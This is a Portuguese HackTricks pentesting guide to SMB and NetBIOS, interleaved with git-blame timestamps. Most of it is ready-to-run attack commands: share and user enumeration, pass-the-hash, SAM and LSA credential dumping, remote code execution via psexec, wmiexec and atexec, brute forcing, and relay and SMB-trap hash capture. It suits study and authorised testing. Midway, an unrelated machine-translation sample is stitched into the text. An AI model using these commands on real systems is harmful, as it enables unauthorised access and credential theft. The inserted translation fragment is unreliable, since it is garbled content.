hacktricks/network-services-pentesting/pentesting-smb.md

524 lines
28 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
## **Porta 139**
2023-06-06 18:56:34 +00:00
**NetBIOS** significa _Network Basic Input Output System_. É um protocolo de software que permite que aplicativos, PCs e desktops em uma rede de área local (LAN) se comuniquem com hardware de rede e transmitam dados pela rede. Aplicativos de software que são executados em uma rede NetBIOS localizam e identificam uns aos outros por meio de seus nomes NetBIOS. Um nome NetBIOS tem até 16 caracteres e geralmente é diferente do nome do computador. Dois aplicativos iniciam uma sessão NetBIOS quando um (o cliente) envia um comando para "chamar" outro cliente (o servidor) pela **Porta TCP 139**. (extraído daqui (https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
2023-06-06 18:56:34 +00:00
## Porta 445
2023-06-06 18:56:34 +00:00
Enquanto a Porta 139 é conhecida tecnicamente como 'NBT sobre IP', a Porta 445 é 'SMB sobre IP'. **SMB** significa '**Server Message Blocks**'. Server Message Block, na linguagem moderna, também é conhecido como **Common Internet File System**. O sistema opera como um protocolo de rede de camada de aplicação usado principalmente para oferecer acesso compartilhado a arquivos, impressoras, portas seriais e outros tipos de comunicações entre nós em uma rede.
2023-06-06 18:56:34 +00:00
Por exemplo, no Windows, o SMB pode ser executado diretamente sobre o TCP/IP sem a necessidade do NetBIOS sobre TCP/IP. Isso usará, como você aponta, a porta 445. Em outros sistemas, você encontrará serviços e aplicativos usando a porta 139. Isso significa que o SMB está sendo executado com o NetBIOS sobre TCP/IP\*\*.\*\* (extraído da [qui](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
2022-10-02 19:15:35 +00:00
### SMB
2023-06-06 18:56:34 +00:00
O Protocolo de Bloco de Mensagens do Servidor (`SMB`) é um protocolo **cliente-servidor** que regula o **acesso a arquivos** e diretórios inteiros e outros recursos de rede, como impressoras, roteadores ou interfaces liberadas para a rede. A principal área de aplicação do protocolo tem sido a série de sistemas operacionais **Windows**, em particular, cujos serviços de rede suportam o SMB de maneira compatível com versões anteriores - o que significa que dispositivos com edições mais novas podem facilmente se comunicar com dispositivos que possuem um sistema operacional Microsoft mais antigo instalado.\
Com o projeto de software livre **Samba**, também há uma solução que permite o uso do **SMB no Linux** e nas distribuições Unix e, portanto, comunicação entre plataformas via SMB.
2022-10-02 19:15:35 +00:00
2023-06-06 18:56:34 +00:00
Um servidor SMB pode fornecer **partes arbitrárias de seu sistema de arquivos local como compartilhamentos**. Portanto, a **hierarquia visível** para um cliente é parcialmente **independente** da **estrutura** no **servidor**. Os **direitos de acesso** são definidos por `Listas de Controle de Acesso` (`ACL`). Eles podem ser controlados de maneira **granular** com base em atributos como **`executar`**, **`ler`** e **`acesso total`** para usuários individuais ou grupos de usuários. As **ACLs** são definidas **com base nos compartilhamentos** e, portanto, não correspondem aos direitos atribuídos localmente no servidor.
2022-10-02 19:15:35 +00:00
2023-06-06 18:56:34 +00:00
### Compartilhamento IPC$
2023-06-06 18:56:34 +00:00
Do livro _**Network Security Assessment 3rd edition**_
2023-06-06 18:56:34 +00:00
Com uma sessão nula anônima, você pode acessar o compartilhamento IPC$ e interagir com serviços expostos por meio de pipes nomeados. A utilidade enum4linux dentro do Kali Linux é particularmente útil; com ela, você pode obter o seguinte:
2023-06-06 18:56:34 +00:00
* Informações do sistema operacional
* Detalhes do domínio pai
* Uma lista de usuários e grupos locais
* Detalhes dos compartilhamentos SMB disponíveis
* A política de segurança do sistema efetiva
2023-06-06 18:56:34 +00:00
## O que é NTLM
2023-06-06 18:56:34 +00:00
Se você não sabe o que é NTLM ou deseja saber como ele funciona e como abusá-lo, encontrará muito interessante esta página sobre **NTLM** onde é explicado **como esse protocolo funciona e como você pode tirar proveito dele:**
2022-10-04 23:49:59 +00:00
{% content-ref url="../windows-hardening/ntlm/" %}
[ntlm](../windows-hardening/ntlm/)
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
## **Enumeração do servidor**
2023-06-06 18:56:34 +00:00
### **Digitalize** uma rede procurando hosts:
```bash
nbtscan -r 192.168.0.1/24
```
2023-06-06 18:56:34 +00:00
### Versão do servidor SMB
2023-06-06 18:56:34 +00:00
Para procurar possíveis exploits na versão do SMB, é importante saber qual versão está sendo usada. Se essa informação não aparecer em outras ferramentas usadas, você pode:
2023-06-06 18:56:34 +00:00
* Usar o módulo auxiliar **MSF** \_**auxiliary/scanner/smb/smb\_version**
* Ou este script:
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
2023-06-06 18:56:34 +00:00
### **Buscar exploit**
2023-06-06 18:56:34 +00:00
Para buscar exploits específicos para SMB, você pode usar o mecanismo de busca do [Exploit Database](https://www.exploit-db.com/search?cve=&ghdb=&metasploit=&description=smb&author=&platform=&type=&port=&osvdb=&filed=&order=date&perpage=50). Você também pode usar o [searchsploit](https://www.exploit-db.com/searchsploit) no terminal para pesquisar exploits localmente.
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
2023-06-06 18:56:34 +00:00
### Possíveis Credenciais
2023-06-06 18:56:34 +00:00
| **Nome de usuário(s)** | **Senhas comuns** |
| ---------------------- | ----------------------------------------- |
| _(em branco)_ | _(em branco)_ |
| convidado | _(em branco)_ |
| Administrador, admin | _(em branco)_, senha, administrador, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| teste, lab, demo | senha, teste, lab, demo |
2023-06-06 18:56:34 +00:00
### Informações do Ambiente SMB
2023-06-06 18:56:34 +00:00
### Obter Informações
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
2021-06-16 12:07:22 +00:00
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
2020-12-22 11:59:42 +00:00
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
2022-11-26 22:36:18 +00:00
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
2023-06-06 18:56:34 +00:00
### Enumerar Usuários, Grupos e Usuários Logados
2022-10-02 19:15:35 +00:00
```bash
2022-10-16 20:09:50 +00:00
# This info should already being gathered from enum4linux and enum4linux-ng
2022-10-04 23:49:59 +00:00
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
2022-10-04 21:36:29 +00:00
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
2022-10-04 21:36:29 +00:00
rpcclient -U "" -N 10.10.10.10
enumdomusers
2022-10-04 23:49:59 +00:00
enumdomgroups
# Impacket - Enumerate local users
lookupsid.py -no-pass hostname.local
# Metasploit - Enumerate local users
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
2022-10-04 21:36:29 +00:00
```
2023-06-06 18:56:34 +00:00
### Enumerando LSARPC e SAMR rpcclient
2022-10-04 23:18:19 +00:00
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
2022-10-04 21:36:29 +00:00
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
### Conexão GUI a partir do Linux
2021-02-02 09:11:43 +00:00
2023-06-06 18:56:34 +00:00
#### No terminal:
2021-02-02 09:11:43 +00:00
`xdg-open smb://cascade.htb/`
2023-06-06 18:56:34 +00:00
#### Na janela do navegador de arquivos (nautilus, thunar, etc)
2021-02-02 09:11:43 +00:00
`smb://friendzone.htb/general/`
2023-06-06 18:56:34 +00:00
## Enumeração de pastas compartilhadas
2023-06-06 18:56:34 +00:00
### Listar pastas compartilhadas
2023-06-06 18:56:34 +00:00
É sempre recomendado verificar se você pode acessar algo, se você não tiver credenciais, tente usar **credenciais nulas/usuário convidado**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
2022-10-04 23:49:59 +00:00
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
2022-10-04 23:49:59 +00:00
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
2020-09-20 21:41:33 +00:00
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
2023-06-06 18:56:34 +00:00
### **Conectar/Listar uma pasta compartilhada**
Para conectar a uma pasta compartilhada, você pode usar o comando `smbclient`. Por exemplo, para se conectar a uma pasta compartilhada chamada `shared_folder` no endereço IP `192.168.1.10`, execute o seguinte comando:
```
smbclient //192.168.1.10/shared_folder
```
2023-06-06 18:56:34 +00:00
Se a pasta compartilhada exigir autenticação, você pode fornecer as credenciais usando a opção `-U`. Por exemplo, para se conectar a uma pasta compartilhada com o nome de usuário `user` e a senha `password`, execute o seguinte comando:
2023-06-06 18:56:34 +00:00
```
smbclient //192.168.1.10/shared_folder -U user%password
```
Para listar o conteúdo de uma pasta compartilhada, você pode usar o comando `ls`. Por exemplo, para listar o conteúdo da pasta compartilhada `shared_folder`, execute o seguinte comando depois de se conectar a ela:
```
ls
```
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
2023-06-06 18:56:34 +00:00
### **Enumerar manualmente compartilhamentos do Windows e conectá-los**
2023-06-06 18:56:34 +00:00
Pode ser possível que você esteja restrito a exibir quaisquer compartilhamentos da máquina hospedeira e, quando você tenta listá-los, parece que não há nenhum compartilhamento para se conectar. Assim, pode valer a pena tentar se conectar manualmente a um compartilhamento. Para enumerar os compartilhamentos manualmente, você pode procurar por respostas como NT\_STATUS\_ACCESS\_DENIED e NT\_STATUS\_BAD\_NETWORK\_NAME, ao usar uma sessão válida (por exemplo, sessão nula ou credenciais válidas). Isso pode indicar se o compartilhamento existe e você não tem acesso a ele ou se o compartilhamento não existe.
2023-06-06 18:56:34 +00:00
Nomes comuns de compartilhamento para alvos do Windows são
* C$
* D$
* ADMIN$
* IPC$
* PRINT$
* FAX$
* SYSVOL
* NETLOGON
2023-06-06 18:56:34 +00:00
(Nomes comuns de compartilhamento do _**Network Security Assessment 3ª edição**_)
2023-06-06 18:56:34 +00:00
Você pode tentar se conectar a eles usando o seguinte comando
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
2023-06-06 18:56:34 +00:00
ou este script (usando uma sessão nula)
```bash
#/bin/bash
2020-08-28 16:23:05 +00:00
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
```
2023-06-06 18:56:34 +00:00
Here's an example of how to translate the text:
### English Text:
## SMB
SMB (Server Message Block) is a protocol used for file sharing and printer sharing. It is used by Windows operating systems and can be found in many other operating systems as well. SMB operates over TCP ports 139 and 445.
2023-06-06 18:56:34 +00:00
### Portuguese Translation:
2023-06-06 18:56:34 +00:00
## SMB
SMB (Server Message Block) é um protocolo usado para compartilhamento de arquivos e impressoras. É usado pelos sistemas operacionais Windows e pode ser encontrado em muitos outros sistemas operacionais também. O SMB opera nas portas TCP 139 e 445.
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
2023-06-06 18:56:34 +00:00
### Montar uma pasta compartilhada
```bash
2020-11-28 15:52:16 +00:00
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
2023-06-06 18:56:34 +00:00
### **Baixar arquivos**
2023-06-06 18:56:34 +00:00
Leia as seções anteriores para aprender como se conectar com credenciais/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
```
```bash
#Download all
smbclient //<IP>/<share>
2020-09-03 15:27:18 +00:00
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
```
2023-06-06 18:56:34 +00:00
Comandos:
2020-09-07 11:12:11 +00:00
2023-06-06 18:56:34 +00:00
* mask: especifica a máscara que é usada para filtrar os arquivos dentro do diretório (por exemplo, "" para todos os arquivos)
* recurse: ativa a recursão (padrão: desativado)
* prompt: desativa a solicitação de nomes de arquivos (padrão: ativado)
* mget: copia todos os arquivos que correspondem à máscara do host para a máquina cliente
2020-09-04 19:46:12 +00:00
2023-06-06 18:56:34 +00:00
(_Informações retiradas da página do manual do smbclient_)
2023-06-06 18:56:34 +00:00
### Busca em Pastas Compartilhadas de Domínio
2020-12-22 15:40:31 +00:00
2022-10-04 23:49:59 +00:00
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
2022-10-05 00:11:28 +00:00
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
2022-10-04 23:49:59 +00:00
* `-M spider_plus [--share <share_name>]`
* `--pattern txt`
2020-12-22 15:40:31 +00:00
```bash
2022-10-04 23:49:59 +00:00
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
2020-12-22 15:40:31 +00:00
```
2023-06-06 18:56:34 +00:00
Especialmente interessantes nos compartilhamentos são os arquivos chamados **`Registry.xml`** pois eles **podem conter senhas** para usuários configurados com **autologon** via Política de Grupo. Ou arquivos **`web.config`** pois eles contêm credenciais.
2022-10-05 23:14:39 +00:00
{% hint style="info" %}
2023-06-06 18:56:34 +00:00
O compartilhamento **SYSVOL** é **legível** por todos os usuários autenticados no domínio. Lá você pode **encontrar** muitos scripts diferentes em lote, VBScript e PowerShell.\
Você deve **verificar** os **scripts** dentro dele, pois pode **encontrar** informações sensíveis, como **senhas**.
2022-10-05 23:14:39 +00:00
{% endhint %}
2023-06-06 18:56:34 +00:00
## Ler o Registro
2021-05-10 16:48:27 +00:00
2023-06-06 18:56:34 +00:00
Você pode ser capaz de **ler o registro** usando algumas credenciais descobertas. O Impacket **`reg.py`** permite que você tente:
2022-10-04 23:49:59 +00:00
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
2021-05-10 16:48:27 +00:00
```
2023-06-06 18:56:34 +00:00
## Pós-Exploração
2021-05-10 16:48:27 +00:00
2023-06-06 18:56:34 +00:00
A configuração padrão de um servidor **Samba** geralmente está localizada em `/etc/samba/smb.conf` e pode ter algumas configurações **perigosas**:
2022-10-02 19:15:35 +00:00
2023-06-06 18:56:34 +00:00
| **Configuração** | **Descrição** |
| --------------------------- | -------------------------------------------------------------------- |
| `browseable = yes` | Permitir a listagem de compartilhamentos disponíveis no compartilhamento atual? |
| `read only = no` | Proibir a criação e modificação de arquivos? |
| `writable = yes` | Permitir que os usuários criem e modifiquem arquivos? |
| `guest ok = yes` | Permitir a conexão ao serviço sem usar uma senha? |
| `enable privileges = yes` | Honrar privilégios atribuídos a SID específico? |
| `create mask = 0777` | Quais permissões devem ser atribuídas aos arquivos recém-criados? |
| `directory mask = 0777` | Quais permissões devem ser atribuídas aos diretórios recém-criados? |
| `logon script = script.sh` | Qual script precisa ser executado no login do usuário? |
| `magic script = script.sh` | Qual script deve ser executado quando o script é fechado? |
| `magic output = script.out` | Onde a saída do script mágico precisa ser armazenada? |
2022-10-02 19:15:35 +00:00
2023-06-06 18:56:34 +00:00
O comando `smbstatus` fornece informações sobre o **servidor** e sobre **quem está conectado**.
2022-10-02 19:15:35 +00:00
2023-06-06 18:56:34 +00:00
## Autenticar usando Kerberos
2023-06-06 18:56:34 +00:00
Você pode **autenticar** no **Kerberos** usando as ferramentas **smbclient** e **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
2023-06-06 18:56:34 +00:00
## **Executar Comandos**
2022-05-01 13:25:53 +00:00
### **crackmapexec**
2023-06-06 18:56:34 +00:00
O crackmapexec pode executar comandos **abusando** de qualquer um dos métodos **mmcexec, smbexec, atexec, wmiexec**, sendo o **wmiexec** o método **padrão**. Você pode indicar qual opção prefere usar com o parâmetro `--exec-method`:
```bash
apt-get install crackmapexec
2020-09-20 21:41:33 +00:00
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
2022-10-04 23:18:19 +00:00
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
2023-06-06 18:56:34 +00:00
Ambas as opções irão **criar um novo serviço** (usando _\pipe\svcctl_ via SMB) na máquina vítima e usá-lo para **executar algo** (**psexec** irá **fazer upload** de um arquivo executável para a pasta ADMIN$ e **smbexec** irá apontar para **cmd.exe/powershell.exe** e colocar nos argumentos o payload --**técnica sem arquivo-**-).\
**Mais informações** sobre [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)e [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
2023-06-06 18:56:34 +00:00
Usando o **parâmetro** `-k`, você pode autenticar contra o **kerberos** em vez do **NTLM**.
2022-10-04 23:18:19 +00:00
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
2023-06-06 18:56:34 +00:00
Execute furtivamente um shell de comando sem tocar no disco ou executar um novo serviço usando DCOM via **porta 135**.\
No **kali**, ele está localizado em /usr/share/doc/python3-impacket/examples/.
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
2023-06-06 18:56:34 +00:00
Usando o **parâmetro** `-k`, você pode autenticar contra o **kerberos** em vez do **NTLM**.
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
2022-10-04 23:18:19 +00:00
### [AtExec](../windows-hardening/ntlm/atexec.md)
2023-06-06 18:56:34 +00:00
Executar comandos via Agendador de Tarefas (usando _\pipe\atsvc_ via SMB).\
No **kali** está localizado em /usr/share/doc/python3-impacket/examples/
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
2023-06-06 18:56:34 +00:00
## Referência do Impacket
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
2023-06-06 18:56:34 +00:00
## **Forçar credenciais de usuários**
2023-06-06 18:56:34 +00:00
**Isso não é recomendado, você pode bloquear uma conta se exceder o número máximo de tentativas permitidas**
```bash
nmap --script smb-brute -p 445 <IP>
2022-07-13 11:11:15 +00:00
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
2023-06-06 18:56:34 +00:00
## Ataque de relé SMB
2023-06-06 18:56:34 +00:00
Este ataque usa a ferramenta Responder para **capturar sessões de autenticação SMB** em uma rede interna e **relayá-las** para uma **máquina alvo**. Se a **sessão de autenticação for bem-sucedida**, você será automaticamente direcionado para um **shell do sistema**.\
[**Mais informações sobre este ataque aqui.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
2022-05-01 13:25:53 +00:00
## SMB-Trap
2023-06-06 18:56:34 +00:00
A biblioteca do Windows URLMon.dll tenta automaticamente autenticar-se no host quando uma página tenta acessar algum conteúdo via SMB, por exemplo: `img src="\\10.10.10.10\path\image.jpg"`
2023-06-06 18:56:34 +00:00
Isso acontece com as funções:
* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream
2023-06-06 18:56:34 +00:00
Que são usadas por alguns navegadores e ferramentas (como o Skype)
2023-06-06 18:56:34 +00:00
![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
2023-06-06 18:56:34 +00:00
### SMBTrap usando MitMf
2023-06-06 18:56:34 +00:00
![De: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
2023-06-06 18:56:34 +00:00
## Roubo de NTLM
2022-09-15 17:28:33 +00:00
2023-06-06 18:56:34 +00:00
Semelhante ao SMB Trapping, plantar arquivos maliciosos em um sistema alvo (via SMB, por exemplo) pode provocar uma tentativa de autenticação SMB, permitindo que o hash NetNTLMv2 seja interceptado com uma ferramenta como o Responder. O hash pode então ser quebrado offline ou usado em um [ataque de relé SMB](pentesting-smb.md#smb-relay-attack).
2022-09-15 17:28:33 +00:00
2023-06-06 18:56:34 +00:00
[Veja: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
2021-08-12 13:30:40 +00:00
2023-06-06 18:56:34 +00:00
## Comandos Automáticos do HackTricks
```
2021-08-12 13:30:40 +00:00
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
2021-08-15 18:12:30 +00:00
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as NBT over IP, Port 445 is SMB over IP. SMB stands for Server Message Blocks. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
2022-07-01 12:57:23 +00:00
smbmap -H {IP} -u guest
2021-08-15 18:12:30 +00:00
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
2022-07-01 12:57:23 +00:00
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
2021-08-15 18:12:30 +00:00
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
2022-03-31 18:27:54 +00:00
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
2021-08-15 18:12:30 +00:00
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}
2021-09-13 15:41:00 +00:00
Entry_5:
Name: Hydra Brute Force
2021-09-27 17:04:25 +00:00
Description: Need User
2021-09-13 15:41:00 +00:00
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
2022-07-01 12:57:23 +00:00
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
2021-08-12 13:30:40 +00:00
```
